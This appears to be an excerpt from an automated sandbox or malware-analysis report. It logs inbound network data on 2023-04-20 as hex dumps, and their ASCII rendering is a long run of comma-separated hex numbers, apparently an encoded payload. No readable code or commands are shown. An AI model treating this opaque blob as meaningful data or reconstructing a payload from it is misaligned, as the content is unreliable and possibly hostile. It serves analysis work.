2023-04-20 23:05:17 UTC	15853	IN	Data Raw: 30 2c 31 34 61 2c 31 31 63 2c 36 31 2c 34 66 2c 35 38 2c 31 30 30 2c 37 66 2c 39 64 2c 31 33 32 2c 31 31 61 2c 31 31 62 2c 37 61 2c 35 62 2c 61 33 2c 61 32 2c 31 36 34 2c 64 63 2c 31 34 66 2c 38 62 2c 39 34 2c 37 65 2c 66 62 2c 63 35 2c 36 39 2c 63 30 2c 63 31 2c 38 39 2c 31 31 64 2c 66 39 2c 38 35 2c 64 32 2c 39 39 2c 31 32 37 2c 31 35 63 2c 61 62 2c 36 39 2c 61 30 2c 31 31 61 2c 31 30 36 2c 31 33 65 2c 61 30 2c 65 32 2c 66 61 2c 31 35 34 2c 64 31 2c 39 30 2c 66 36 2c 31 30 63 2c 31 36 65 2c 63 33 2c 37 34 2c 39 31 2c 34 32 2c 63 65 2c 35 39 2c 31 30 34 2c 39 65 2c 39 31 2c 65 66 2c 36 33 2c 37 35 2c 31 36 35 2c 34 31 2c 31 31 37 2c 37 61 2c 31 33 33 2c 62 61 2c 36 35 2c 31 32 66 2c 61 30 2c 61 35 2c 66 37 2c 61 37 2c 65 62 2c 38 34 2c 31 35 37 2c 62 65 Data Ascii: 0,14a,11c,61,4f,58,100,7f,9d,132,11a,11b,7a,5b,a3,a2,164,dc,14f,8b,94,7e,fb,c5,69,c0,c1,89,11d,f9,85,d2,99,127,15c,ab,69,a0,11a,106,13e,a0,e2,fa,154,d1,90,f6,10c,16e,c3,74,91,42,ce,59,104,9e,91,ef,63,75,165,41,117,7a,133,ba,65,12f,a0,a5,f7,a7,eb,84,157,be
2023-04-20 23:05:17 UTC	15869	IN	Data Raw: 34 2c 62 38 2c 61 62 2c 31 32 30 2c 34 62 2c 35 61 2c 65 62 2c 66 31 2c 31 31 38 2c 37 39 2c 36 62 2c 63 36 2c 61 39 2c 31 31 32 2c 31 33 31 2c 36 35 2c 64 32 2c 31 33 30 2c 65 39 2c 31 34 30 2c 31 30 38 2c 65 33 2c 31 35 31 2c 65 39 2c 31 31 32 2c 31 33 31 2c 66 33 2c 66 35 2c 62 66 2c 62 64 2c 31 31 65 2c 31 31 38 2c 36 62 2c 31 32 61 2c 38 65 2c 31 32 31 2c 31 30 37 2c 33 33 2c 31 36 35 2c 64 62 2c 34 37 2c 31 33 37 2c 31 35 37 2c 66 38 2c 31 32 66 2c 66 37 2c 31 31 64 2c 63 39 2c 31 36 61 2c 31 36 39 2c 37 66 2c 38 63 2c 38 39 2c 63 35 2c 62 31 2c 31 30 64 2c 31 30 61 2c 31 32 65 2c 31 33 66 2c 31 34 39 2c 37 65 2c 63 36 2c 66 39 2c 62 38 2c 36 65 2c 38 36 2c 37 63 2c 31 32 33 2c 36 31 2c 65 39 2c 36 65 2c 39 62 2c 31 32 39 2c 62 31 2c 31 35 38 2c 66 Data Ascii: 4,b8,ab,120,4b,5a,eb,f1,118,79,6b,c6,a9,112,131,65,d2,130,e9,140,108,e3,151,e9,112,131,f3,f5,bf,bd,11e,118,6b,12a,8e,121,107,33,165,db,47,137,157,f8,12f,f7,11d,c9,16a,169,7f,8c,89,c5,b1,10d,10a,12e,13f,149,7e,c6,f9,b8,6e,86,7c,123,61,e9,6e,9b,129,b1,158,f
2023-04-20 23:05:17 UTC	15885	IN	Data Raw: 65 33 2c 62 32 2c 36 65 2c 61 38 2c 36 34 2c 36 33 2c 39 61 2c 37 34 2c 31 36 30 2c 39 30 2c 38 61 2c 31 33 61 2c 31 30 66 2c 62 66 2c 39 62 2c 36 30 2c 65 30 2c 37 30 2c 64 34 2c 39 64 2c 38 32 2c 31 31 37 2c 38 38 2c 64 38 2c 62 63 2c 62 35 2c 31 31 33 2c 39 66 2c 34 32 2c 35 35 2c 31 33 31 2c 65 66 2c 63 30 2c 35 36 2c 33 66 2c 63 37 2c 36 66 2c 31 33 62 2c 39 61 2c 64 38 2c 61 62 2c 61 65 2c 34 34 2c 65 32 2c 31 30 33 2c 31 36 30 2c 31 37 30 2c 66 38 2c 31 30 34 2c 39 62 2c 34 66 2c 39 39 2c 64 39 2c 62 66 2c 31 34 66 2c 31 35 65 2c 31 32 66 2c 66 30 2c 31 34 36 2c 61 62 2c 62 66 2c 37 30 2c 31 32 34 2c 31 34 38 2c 31 31 61 2c 61 63 2c 65 34 2c 37 35 2c 38 39 2c 66 32 2c 31 34 36 2c 31 32 33 2c 31 33 34 2c 62 64 2c 62 61 2c 65 36 2c 31 34 32 2c 37 61 Data Ascii: e3,b2,6e,a8,64,63,9a,74,160,90,8a,13a,10f,bf,9b,60,e0,70,d4,9d,82,117,88,d8,bc,b5,113,9f,42,55,131,ef,c0,56,3f,c7,6f,13b,9a,d8,ab,ae,44,e2,103,160,170,f8,104,9b,4f,99,d9,bf,14f,15e,12f,f0,146,ab,bf,70,124,148,11a,ac,e4,75,89,f2,146,123,134,bd,ba,e6,142,7a
2023-04-20 23:05:17 UTC	15901	IN	Data Raw: 2c 31 30 63 2c 31 36 35 2c 31 31 65 2c 31 35 33 2c 31 32 66 2c 36 33 2c 34 64 2c 38 32 2c 37 35 2c 31 34 37 2c 65 30 2c 64 61 2c 31 32 31 2c 35 30 2c 62 36 2c 37 37 2c 36 33 2c 66 38 2c 36 38 2c 64 61 2c 37 35 2c 36 61 2c 61 33 2c 31 31 64 2c 37 30 2c 64 38 2c 36 32 2c 38 65 2c 31 36 30 2c 31 32 39 2c 31 30 62 2c 31 34 62 2c 36 35 2c 63 66 2c 38 61 2c 66 61 2c 31 35 31 2c 31 33 64 2c 66 36 2c 31 32 36 2c 31 30 61 2c 31 32 62 2c 66 38 2c 63 64 2c 31 32 35 2c 64 35 2c 64 39 2c 31 32 65 2c 63 33 2c 35 30 2c 36 36 2c 61 30 2c 31 32 33 2c 36 62 2c 33 31 2c 31 30 36 2c 36 39 2c 39 66 2c 31 32 33 2c 31 33 38 2c 37 64 2c 31 36 61 2c 62 35 2c 65 63 2c 62 30 2c 31 35 62 2c 31 31 37 2c 62 34 2c 64 34 2c 65 33 2c 66 38 2c 66 30 2c 39 34 2c 36 65 2c 63 66 2c 31 33 34 Data Ascii: ,10c,165,11e,153,12f,63,4d,82,75,147,e0,da,121,50,b6,77,63,f8,68,da,75,6a,a3,11d,70,d8,62,8e,160,129,10b,14b,65,cf,8a,fa,151,13d,f6,126,10a,12b,f8,cd,125,d5,d9,12e,c3,50,66,a0,123,6b,31,106,69,9f,123,138,7d,16a,b5,ec,b0,15b,117,b4,d4,e3,f8,f0,94,6e,cf,134
2023-04-20 23:05:17 UTC	15917	IN	Data Raw: 2c 61 37 2c 31 32 61 2c 34 38 2c 61 36 2c 62 62 2c 31 35 32 2c 65 39 2c 36 63 2c 63 34 2c 31 32 37 2c 66 35 2c 31 30 34 2c 31 33 31 2c 66 66 2c 62 62 2c 36 33 2c 66 65 2c 31 32 61 2c 39 35 2c 31 31 65 2c 62 32 2c 31 35 32 2c 66 38 2c 66 66 2c 63 33 2c 31 35 66 2c 64 66 2c 39 65 2c 64 63 2c 37 38 2c 38 63 2c 31 32 31 2c 31 30 63 2c 62 32 2c 31 32 61 2c 64 62 2c 31 30 32 2c 31 32 39 2c 63 38 2c 31 34 31 2c 64 34 2c 31 32 61 2c 35 63 2c 31 30 64 2c 31 31 35 2c 31 34 63 2c 61 35 2c 38 65 2c 63 66 2c 65 32 2c 35 36 2c 39 36 2c 31 34 31 2c 37 35 2c 31 31 33 2c 37 64 2c 37 39 2c 31 35 34 2c 39 37 2c 31 33 34 2c 31 32 37 2c 31 31 63 2c 66 33 2c 39 61 2c 33 31 2c 31 33 64 2c 34 31 2c 36 62 2c 63 30 2c 31 31 63 2c 31 34 34 2c 31 32 31 2c 62 30 2c 66 64 2c 36 30 2c Data Ascii: ,a7,12a,48,a6,bb,152,e9,6c,c4,127,f5,104,131,ff,bb,63,fe,12a,95,11e,b2,152,f8,ff,c3,15f,df,9e,dc,78,8c,121,10c,b2,12a,db,102,129,c8,141,d4,12a,5c,10d,115,14c,a5,8e,cf,e2,56,96,141,75,113,7d,79,154,97,134,127,11c,f3,9a,31,13d,41,6b,c0,11c,144,121,b0,fd,60,
2023-04-20 23:05:17 UTC	15933	IN	Data Raw: 39 2c 31 32 30 2c 31 31 32 2c 37 61 2c 63 36 2c 31 31 32 2c 62 34 2c 39 65 2c 37 33 2c 31 33 39 2c 31 35 34 2c 31 30 37 2c 62 32 2c 36 62 2c 31 35 32 2c 31 32 64 2c 39 30 2c 39 30 2c 31 32 35 2c 31 30 66 2c 64 61 2c 34 30 2c 31 31 30 2c 61 64 2c 37 34 2c 31 32 39 2c 31 33 33 2c 37 33 2c 61 35 2c 31 34 39 2c 31 33 38 2c 38 30 2c 61 34 2c 39 36 2c 31 32 34 2c 66 33 2c 31 32 64 2c 31 31 38 2c 31 34 38 2c 66 36 2c 31 31 31 2c 36 38 2c 31 36 30 2c 31 32 65 2c 39 36 2c 31 33 35 2c 31 30 37 2c 64 30 2c 61 62 2c 63 36 2c 31 33 39 2c 65 62 2c 35 33 2c 33 66 2c 38 63 2c 31 31 64 2c 61 65 2c 61 34 2c 39 35 2c 37 37 2c 31 32 39 2c 31 35 37 2c 31 30 36 2c 31 30 63 2c 31 34 34 2c 63 66 2c 65 64 2c 31 30 63 2c 63 31 2c 37 61 2c 62 31 2c 38 30 2c 38 33 2c 37 38 2c 36 66 Data Ascii: 9,120,112,7a,c6,112,b4,9e,73,139,154,107,b2,6b,152,12d,90,90,125,10f,da,40,110,ad,74,129,133,73,a5,149,138,80,a4,96,124,f3,12d,118,148,f6,111,68,160,12e,96,135,107,d0,ab,c6,139,eb,53,3f,8c,11d,ae,a4,95,77,129,157,106,10c,144,cf,ed,10c,c1,7a,b1,80,83,78,6f
2023-04-20 23:05:17 UTC	15949	IN	Data Raw: 62 65 2c 65 61 2c 38 33 2c 31 33 33 2c 31 32 63 2c 31 35 37 2c 31 32 30 2c 37 63 2c 31 34 32 2c 39 39 2c 62 62 2c 31 30 64 2c 61 63 2c 35 33 2c 65 39 2c 65 36 2c 37 36 2c 63 38 2c 66 31 2c 31 31 62 2c 61 31 2c 39 38 2c 61 38 2c 31 36 36 2c 31 32 31 2c 66 64 2c 61 63 2c 31 35 65 2c 64 30 2c 38 61 2c 31 30 66 2c 65 64 2c 65 37 2c 37 65 2c 31 31 34 2c 31 33 33 2c 31 31 31 2c 65 36 2c 39 33 2c 63 65 2c 31 32 36 2c 31 30 32 2c 36 61 2c 31 33 35 2c 61 66 2c 65 38 2c 31 33 31 2c 31 36 34 2c 31 32 39 2c 39 39 2c 66 37 2c 65 37 2c 31 32 34 2c 31 32 30 2c 37 38 2c 66 64 2c 62 38 2c 61 63 2c 33 66 2c 31 31 61 2c 37 63 2c 65 33 2c 61 66 2c 31 33 39 2c 39 34 2c 31 31 61 2c 33 62 2c 65 37 2c 61 63 2c 31 37 37 2c 31 30 66 2c 37 30 2c 37 37 2c 31 32 61 2c 65 39 2c 31 34 Data Ascii: be,ea,83,133,12c,157,120,7c,142,99,bb,10d,ac,53,e9,e6,76,c8,f1,11b,a1,98,a8,166,121,fd,ac,15e,d0,8a,10f,ed,e7,7e,114,133,111,e6,93,ce,126,102,6a,135,af,e8,131,164,129,99,f7,e7,124,120,78,fd,b8,ac,3f,11a,7c,e3,af,139,94,11a,3b,e7,ac,177,10f,70,77,12a,e9,14
2023-04-20 23:05:17 UTC	15965	IN	Data Raw: 2c 63 37 2c 38 33 2c 37 36 2c 66 38 2c 34 63 2c 65 65 2c 31 33 35 2c 63 33 2c 37 36 2c 66 38 2c 35 64 2c 35 66 2c 31 30 38 2c 62 35 2c 31 31 38 2c 31 33 35 2c 31 31 31 2c 66 61 2c 62 61 2c 66 33 2c 61 37 2c 36 33 2c 65 30 2c 31 31 63 2c 31 31 61 2c 61 65 2c 38 66 2c 66 32 2c 33 38 2c 65 62 2c 36 33 2c 64 66 2c 31 33 34 2c 31 31 34 2c 33 61 2c 66 37 2c 34 63 2c 31 31 32 2c 31 30 38 2c 31 34 37 2c 39 61 2c 63 64 2c 64 38 2c 39 37 2c 31 35 36 2c 62 65 2c 31 32 31 2c 31 32 32 2c 61 62 2c 31 30 35 2c 61 31 2c 62 35 2c 31 30 32 2c 38 37 2c 31 35 33 2c 65 35 2c 63 30 2c 62 34 2c 37 65 2c 31 32 34 2c 31 30 65 2c 31 30 31 2c 62 63 2c 63 66 2c 37 61 2c 38 65 2c 34 30 2c 31 35 31 2c 31 33 35 2c 31 30 64 2c 38 35 2c 39 39 2c 62 36 2c 62 63 2c 36 37 2c 31 31 34 2c 62 Data Ascii: ,c7,83,76,f8,4c,ee,135,c3,76,f8,5d,5f,108,b5,118,135,111,fa,ba,f3,a7,63,e0,11c,11a,ae,8f,f2,38,eb,63,df,134,114,3a,f7,4c,112,108,147,9a,cd,d8,97,156,be,121,122,ab,105,a1,b5,102,87,153,e5,c0,b4,7e,124,10e,101,bc,cf,7a,8e,40,151,135,10d,85,99,b6,bc,67,114,b
2023-04-20 23:05:17 UTC	15981	IN	Data Raw: 31 30 34 2c 31 30 34 2c 31 30 64 2c 31 31 35 2c 31 33 31 2c 65 34 2c 31 31 63 2c 36 39 2c 65 33 2c 62 61 2c 66 31 2c 36 38 2c 31 34 38 2c 31 33 62 2c 31 33 64 2c 35 31 2c 31 34 65 2c 39 35 2c 34 36 2c 31 30 63 2c 62 37 2c 31 34 38 2c 61 33 2c 64 32 2c 39 64 2c 31 30 64 2c 39 64 2c 31 32 31 2c 63 62 2c 31 35 30 2c 31 33 39 2c 31 30 64 2c 31 32 64 2c 38 35 2c 31 32 37 2c 31 36 35 2c 31 36 66 2c 62 65 2c 31 33 34 2c 35 31 2c 62 39 2c 65 66 2c 31 31 37 2c 66 65 2c 61 66 2c 31 34 65 2c 61 63 2c 62 63 2c 31 33 32 2c 31 32 64 2c 39 34 2c 39 61 2c 61 66 2c 31 36 31 2c 39 34 2c 31 34 32 2c 63 33 2c 62 37 2c 37 32 2c 66 63 2c 64 66 2c 36 39 2c 31 36 36 2c 38 61 2c 65 39 2c 61 66 2c 65 32 2c 37 39 2c 31 30 62 2c 35 35 2c 31 31 33 2c 66 36 2c 63 62 2c 38 64 2c 39 38 Data Ascii: 104,104,10d,115,131,e4,11c,69,e3,ba,f1,68,148,13b,13d,51,14e,95,46,10c,b7,148,a3,d2,9d,10d,9d,121,cb,150,139,10d,12d,85,127,165,16f,be,134,51,b9,ef,117,fe,af,14e,ac,bc,132,12d,94,9a,af,161,94,142,c3,b7,72,fc,df,69,166,8a,e9,af,e2,79,10b,55,113,f6,cb,8d,98
2023-04-20 23:05:17 UTC	15997	IN	Data Raw: 31 2c 37 64 2c 31 31 36 2c 37 33 2c 31 32 31 2c 31 30 37 2c 31 31 63 2c 64 34 2c 31 30 63 2c 31 33 35 2c 31 32 35 2c 34 66 2c 36 32 2c 64 32 2c 62 62 2c 36 64 2c 39 63 2c 39 38 2c 66 35 2c 31 30 30 2c 31 30 65 2c 66 33 2c 61 33 2c 31 32 62 2c 63 63 2c 66 31 2c 34 39 2c 31 31 66 2c 66 31 2c 64 66 2c 36 39 2c 35 33 2c 38 38 2c 36 37 2c 38 61 2c 64 33 2c 65 66 2c 31 34 66 2c 62 62 2c 35 30 2c 36 63 2c 62 64 2c 66 37 2c 31 31 39 2c 31 35 36 2c 64 37 2c 31 30 32 2c 31 33 39 2c 31 32 65 2c 31 32 34 2c 37 39 2c 62 65 2c 31 33 33 2c 63 34 2c 66 31 2c 37 65 2c 64 63 2c 31 30 63 2c 35 32 2c 62 37 2c 31 34 30 2c 36 36 2c 36 62 2c 31 32 64 2c 66 63 2c 31 33 33 2c 66 32 2c 36 63 2c 31 33 31 2c 31 30 33 2c 63 62 2c 62 32 2c 66 36 2c 31 34 63 2c 33 66 2c 31 33 35 2c 65 Data Ascii: 1,7d,116,73,121,107,11c,d4,10c,135,125,4f,62,d2,bb,6d,9c,98,f5,100,10e,f3,a3,12b,cc,f1,49,11f,f1,df,69,53,88,67,8a,d3,ef,14f,bb,50,6c,bd,f7,119,156,d7,102,139,12e,124,79,be,133,c4,f1,7e,dc,10c,52,b7,140,66,6b,12d,fc,133,f2,6c,131,103,cb,b2,f6,14c,3f,135,e
2023-04-20 23:05:17 UTC	16013	IN	Data Raw: 36 2c 39 37 2c 31 30 64 2c 31 30 32 2c 63 34 2c 31 35 38 2c 38 39 2c 35 38 2c 36 30 2c 31 31 31 2c 31 30 39 2c 66 37 2c 66 36 2c 31 31 31 2c 31 31 39 2c 31 30 33 2c 62 62 2c 64 32 2c 31 35 32 2c 31 31 39 2c 65 37 2c 66 36 2c 31 32 30 2c 31 34 32 2c 31 32 36 2c 31 35 61 2c 62 61 2c 31 31 30 2c 66 37 2c 36 31 2c 31 33 35 2c 63 36 2c 35 63 2c 31 30 63 2c 63 61 2c 36 61 2c 31 30 33 2c 31 30 38 2c 31 34 33 2c 31 30 61 2c 38 34 2c 31 34 32 2c 62 62 2c 35 62 2c 31 31 38 2c 38 35 2c 31 33 31 2c 65 34 2c 64 34 2c 31 33 63 2c 38 38 2c 61 39 2c 62 37 2c 31 31 33 2c 63 61 2c 35 38 2c 31 31 64 2c 31 30 32 2c 31 30 63 2c 61 62 2c 38 37 2c 33 32 2c 66 38 2c 64 34 2c 63 65 2c 31 33 34 2c 37 64 2c 65 32 2c 66 63 2c 38 35 2c 31 35 32 2c 31 30 61 2c 64 38 2c 31 33 66 2c 31 Data Ascii: 6,97,10d,102,c4,158,89,58,60,111,109,f7,f6,111,119,103,bb,d2,152,119,e7,f6,120,142,126,15a,ba,110,f7,61,135,c6,5c,10c,ca,6a,103,108,143,10a,84,142,bb,5b,118,85,131,e4,d4,13c,88,a9,b7,113,ca,58,11d,102,10c,ab,87,32,f8,d4,ce,134,7d,e2,fc,85,152,10a,d8,13f,1
2023-04-20 23:05:17 UTC	16029	IN	Data Raw: 32 2c 31 31 34 2c 31 31 38 2c 64 62 2c 38 65 2c 31 30 31 2c 36 39 2c 62 62 2c 66 61 2c 31 34 37 2c 31 30 63 2c 66 32 2c 37 36 2c 37 64 2c 64 63 2c 65 35 2c 31 35 66 2c 31 36 32 2c 36 63 2c 37 63 2c 37 62 2c 38 35 2c 61 62 2c 65 61 2c 36 39 2c 64 36 2c 38 35 2c 61 63 2c 38 66 2c 31 32 65 2c 38 34 2c 31 33 37 2c 37 61 2c 38 63 2c 31 31 35 2c 31 32 38 2c 39 63 2c 65 36 2c 63 35 2c 31 33 66 2c 31 33 64 2c 35 38 2c 39 62 2c 37 64 2c 62 36 2c 63 64 2c 66 61 2c 65 39 2c 31 32 37 2c 31 36 32 2c 31 32 34 2c 39 32 2c 39 38 2c 31 32 65 2c 62 63 2c 36 38 2c 62 64 2c 37 39 2c 31 32 35 2c 37 33 2c 65 65 2c 31 35 37 2c 31 30 37 2c 37 62 2c 31 31 32 2c 31 35 35 2c 39 62 2c 63 64 2c 35 34 2c 37 65 2c 66 30 2c 31 31 31 2c 31 30 34 2c 31 34 34 2c 31 30 38 2c 61 38 2c 31 30 Data Ascii: 2,114,118,db,8e,101,69,bb,fa,147,10c,f2,76,7d,dc,e5,15f,162,6c,7c,7b,85,ab,ea,69,d6,85,ac,8f,12e,84,137,7a,8c,115,128,9c,e6,c5,13f,13d,58,9b,7d,b6,cd,fa,e9,127,162,124,92,98,12e,bc,68,bd,79,125,73,ee,157,107,7b,112,155,9b,cd,54,7e,f0,111,104,144,108,a8,10
2023-04-20 23:05:17 UTC	16045	IN	Data Raw: 35 2c 31 30 39 2c 31 30 30 2c 61 66 2c 31 31 39 2c 66 32 2c 31 31 31 2c 39 31 2c 66 36 2c 34 64 2c 39 37 2c 37 62 2c 31 33 35 2c 31 32 34 2c 34 64 2c 63 31 2c 64 36 2c 39 34 2c 61 61 2c 37 66 2c 31 35 65 2c 66 36 2c 31 35 39 2c 31 31 38 2c 31 31 38 2c 35 61 2c 31 34 61 2c 37 66 2c 38 65 2c 63 37 2c 63 65 2c 63 37 2c 35 62 2c 31 30 37 2c 31 32 38 2c 31 31 30 2c 31 33 32 2c 31 34 30 2c 63 36 2c 31 34 31 2c 66 32 2c 33 61 2c 63 66 2c 31 33 34 2c 37 34 2c 36 38 2c 66 31 2c 62 37 2c 61 39 2c 39 65 2c 35 66 2c 66 65 2c 61 39 2c 61 63 2c 31 33 31 2c 62 35 2c 31 31 32 2c 64 30 2c 66 32 2c 31 35 63 2c 36 62 2c 65 38 2c 63 62 2c 66 34 2c 38 65 2c 61 35 2c 37 35 2c 63 65 2c 38 34 2c 66 66 2c 34 33 2c 31 33 38 2c 31 32 31 2c 61 66 2c 65 64 2c 31 30 30 2c 65 31 2c 64 Data Ascii: 5,109,100,af,119,f2,111,91,f6,4d,97,7b,135,124,4d,c1,d6,94,aa,7f,15e,f6,159,118,118,5a,14a,7f,8e,c7,ce,c7,5b,107,128,110,132,140,c6,141,f2,3a,cf,134,74,68,f1,b7,a9,9e,5f,fe,a9,ac,131,b5,112,d0,f2,15c,6b,e8,cb,f4,8e,a5,75,ce,84,ff,43,138,121,af,ed,100,e1,d
2023-04-20 23:05:17 UTC	16061	IN	Data Raw: 31 35 30 2c 39 39 2c 64 34 2c 31 32 30 2c 31 31 63 2c 38 33 2c 39 33 2c 63 39 2c 31 34 33 2c 31 33 62 2c 31 35 65 2c 39 39 2c 31 30 35 2c 36 65 2c 62 63 2c 35 39 2c 61 34 2c 66 66 2c 31 31 36 2c 31 30 34 2c 33 64 2c 64 36 2c 31 30 62 2c 65 66 2c 37 33 2c 31 35 36 2c 31 30 30 2c 31 34 35 2c 62 33 2c 62 61 2c 62 30 2c 62 31 2c 65 33 2c 31 32 36 2c 37 66 2c 63 32 2c 36 34 2c 31 30 35 2c 36 31 2c 31 32 64 2c 31 31 34 2c 65 36 2c 31 33 66 2c 38 30 2c 31 32 35 2c 37 34 2c 36 34 2c 31 31 36 2c 31 31 66 2c 38 61 2c 38 33 2c 34 65 2c 31 31 39 2c 31 30 66 2c 65 33 2c 35 64 2c 39 38 2c 61 66 2c 61 34 2c 31 32 62 2c 38 31 2c 61 63 2c 61 38 2c 38 36 2c 31 35 61 2c 31 33 33 2c 66 63 2c 31 33 30 2c 66 30 2c 65 62 2c 66 62 2c 31 31 65 2c 31 35 32 2c 31 35 35 2c 39 33 2c Data Ascii: 150,99,d4,120,11c,83,93,c9,143,13b,15e,99,105,6e,bc,59,a4,ff,116,104,3d,d6,10b,ef,73,156,100,145,b3,ba,b0,b1,e3,126,7f,c2,64,105,61,12d,114,e6,13f,80,125,74,64,116,11f,8a,83,4e,119,10f,e3,5d,98,af,a4,12b,81,ac,a8,86,15a,133,fc,130,f0,eb,fb,11e,152,155,93,
2023-04-20 23:05:18 UTC	16077	IN	Data Raw: 35 65 2c 31 30 30 2c 35 64 2c 31 30 38 2c 61 65 2c 39 62 2c 38 38 2c 61 33 2c 66 63 2c 33 30 2c 61 32 2c 65 31 2c 31 34 66 2c 31 31 39 2c 31 31 39 2c 65 37 2c 31 34 30 2c 66 61 2c 39 61 2c 35 39 2c 31 31 30 2c 31 33 62 2c 64 32 2c 34 39 2c 31 32 62 2c 31 33 35 2c 31 36 35 2c 31 35 31 2c 31 30 64 2c 31 31 62 2c 36 31 2c 31 31 36 2c 31 32 66 2c 31 30 39 2c 31 32 35 2c 31 34 30 2c 64 38 2c 63 34 2c 61 38 2c 37 63 2c 61 34 2c 31 31 63 2c 31 33 32 2c 31 32 66 2c 31 33 30 2c 64 39 2c 66 39 2c 65 37 2c 63 35 2c 61 34 2c 31 34 30 2c 36 66 2c 31 31 64 2c 31 31 39 2c 66 32 2c 61 34 2c 31 32 33 2c 63 35 2c 31 37 31 2c 31 32 65 2c 64 38 2c 36 62 2c 63 64 2c 33 32 2c 66 37 2c 34 36 2c 61 64 2c 31 33 35 2c 31 30 63 2c 31 33 63 2c 31 31 38 2c 31 36 64 2c 31 35 31 2c 63 Data Ascii: 5e,100,5d,108,ae,9b,88,a3,fc,30,a2,e1,14f,119,119,e7,140,fa,9a,59,110,13b,d2,49,12b,135,165,151,10d,11b,61,116,12f,109,125,140,d8,c4,a8,7c,a4,11c,132,12f,130,d9,f9,e7,c5,a4,140,6f,11d,119,f2,a4,123,c5,171,12e,d8,6b,cd,32,f7,46,ad,135,10c,13c,118,16d,151,c
2023-04-20 23:05:18 UTC	16093	IN	Data Raw: 33 63 2c 31 30 61 2c 31 37 34 2c 39 65 2c 63 34 2c 63 37 2c 66 36 2c 31 33 31 2c 31 31 33 2c 66 34 2c 61 36 2c 62 63 2c 31 31 38 2c 31 30 35 2c 36 38 2c 31 34 38 2c 63 31 2c 31 36 32 2c 34 62 2c 38 36 2c 31 31 39 2c 38 34 2c 62 37 2c 35 36 2c 37 35 2c 36 35 2c 65 31 2c 31 31 30 2c 65 31 2c 36 61 2c 31 30 34 2c 61 38 2c 64 38 2c 34 34 2c 31 33 39 2c 37 61 2c 61 31 2c 61 62 2c 31 32 31 2c 38 33 2c 62 39 2c 31 34 36 2c 65 36 2c 65 34 2c 31 31 33 2c 65 38 2c 31 30 38 2c 64 38 2c 65 32 2c 31 33 64 2c 38 39 2c 31 30 33 2c 38 61 2c 62 31 2c 31 33 35 2c 31 33 31 2c 31 34 30 2c 31 32 30 2c 39 38 2c 31 34 37 2c 39 33 2c 38 62 2c 62 62 2c 31 35 34 2c 31 30 37 2c 63 61 2c 38 66 2c 31 31 36 2c 31 30 37 2c 37 36 2c 38 62 2c 63 66 2c 61 30 2c 36 33 2c 62 64 2c 61 62 2c Data Ascii: 3c,10a,174,9e,c4,c7,f6,131,113,f4,a6,bc,118,105,68,148,c1,162,4b,86,119,84,b7,56,75,65,e1,110,e1,6a,104,a8,d8,44,139,7a,a1,ab,121,83,b9,146,e6,e4,113,e8,108,d8,e2,13d,89,103,8a,b1,135,131,140,120,98,147,93,8b,bb,154,107,ca,8f,116,107,76,8b,cf,a0,63,bd,ab,
2023-04-20 23:05:18 UTC	16109	IN	Data Raw: 30 63 2c 63 33 2c 64 62 2c 38 38 2c 38 62 2c 31 32 66 2c 31 31 66 2c 66 37 2c 31 34 65 2c 62 34 2c 31 34 32 2c 31 31 38 2c 66 65 2c 31 34 32 2c 31 31 36 2c 31 34 31 2c 63 31 2c 31 30 61 2c 36 62 2c 64 61 2c 31 31 63 2c 65 64 2c 31 30 64 2c 31 31 33 2c 65 31 2c 34 30 2c 31 30 39 2c 61 35 2c 39 62 2c 31 31 31 2c 37 63 2c 31 31 62 2c 63 62 2c 63 62 2c 31 35 37 2c 38 65 2c 36 34 2c 36 65 2c 61 30 2c 61 38 2c 36 37 2c 62 30 2c 36 38 2c 38 62 2c 31 35 39 2c 37 35 2c 36 63 2c 65 31 2c 31 32 66 2c 38 66 2c 37 66 2c 61 34 2c 31 36 64 2c 31 32 30 2c 31 30 63 2c 35 31 2c 31 32 39 2c 37 39 2c 61 34 2c 31 31 39 2c 37 31 2c 37 61 2c 39 64 2c 61 30 2c 31 30 34 2c 64 62 2c 31 31 66 2c 31 31 63 2c 31 31 62 2c 31 34 39 2c 64 36 2c 64 65 2c 36 36 2c 65 33 2c 62 31 2c 31 31 Data Ascii: 0c,c3,db,88,8b,12f,11f,f7,14e,b4,142,118,fe,142,116,141,c1,10a,6b,da,11c,ed,10d,113,e1,40,109,a5,9b,111,7c,11b,cb,cb,157,8e,64,6e,a0,a8,67,b0,68,8b,159,75,6c,e1,12f,8f,7f,a4,16d,120,10c,51,129,79,a4,119,71,7a,9d,a0,104,db,11f,11c,11b,149,d6,de,66,e3,b1,11
2023-04-20 23:05:18 UTC	16125	IN	Data Raw: 37 2c 31 37 30 2c 31 34 34 2c 35 34 2c 62 39 2c 64 31 2c 31 30 66 2c 36 62 2c 65 39 2c 61 32 2c 37 39 2c 62 63 2c 66 31 2c 39 61 2c 31 33 65 2c 31 35 38 2c 31 34 33 2c 31 34 66 2c 31 33 37 2c 31 33 35 2c 39 35 2c 36 35 2c 37 38 2c 31 30 62 2c 31 34 38 2c 39 32 2c 63 66 2c 63 65 2c 64 39 2c 38 35 2c 66 32 2c 65 37 2c 37 35 2c 61 62 2c 36 37 2c 31 31 62 2c 62 38 2c 65 64 2c 37 64 2c 66 34 2c 62 35 2c 62 38 2c 31 34 65 2c 31 32 33 2c 64 32 2c 63 33 2c 61 32 2c 62 32 2c 31 32 65 2c 31 31 35 2c 31 31 34 2c 31 31 62 2c 38 32 2c 39 32 2c 61 31 2c 31 35 31 2c 38 38 2c 38 30 2c 31 35 38 2c 64 63 2c 38 37 2c 31 34 61 2c 66 32 2c 66 36 2c 31 30 66 2c 31 35 38 2c 31 34 61 2c 63 66 2c 62 63 2c 31 34 66 2c 64 36 2c 39 65 2c 61 63 2c 64 31 2c 66 64 2c 37 34 2c 34 38 2c Data Ascii: 7,170,144,54,b9,d1,10f,6b,e9,a2,79,bc,f1,9a,13e,158,143,14f,137,135,95,65,78,10b,148,92,cf,ce,d9,85,f2,e7,75,ab,67,11b,b8,ed,7d,f4,b5,b8,14e,123,d2,c3,a2,b2,12e,115,114,11b,82,92,a1,151,88,80,158,dc,87,14a,f2,f6,10f,158,14a,cf,bc,14f,d6,9e,ac,d1,fd,74,48,
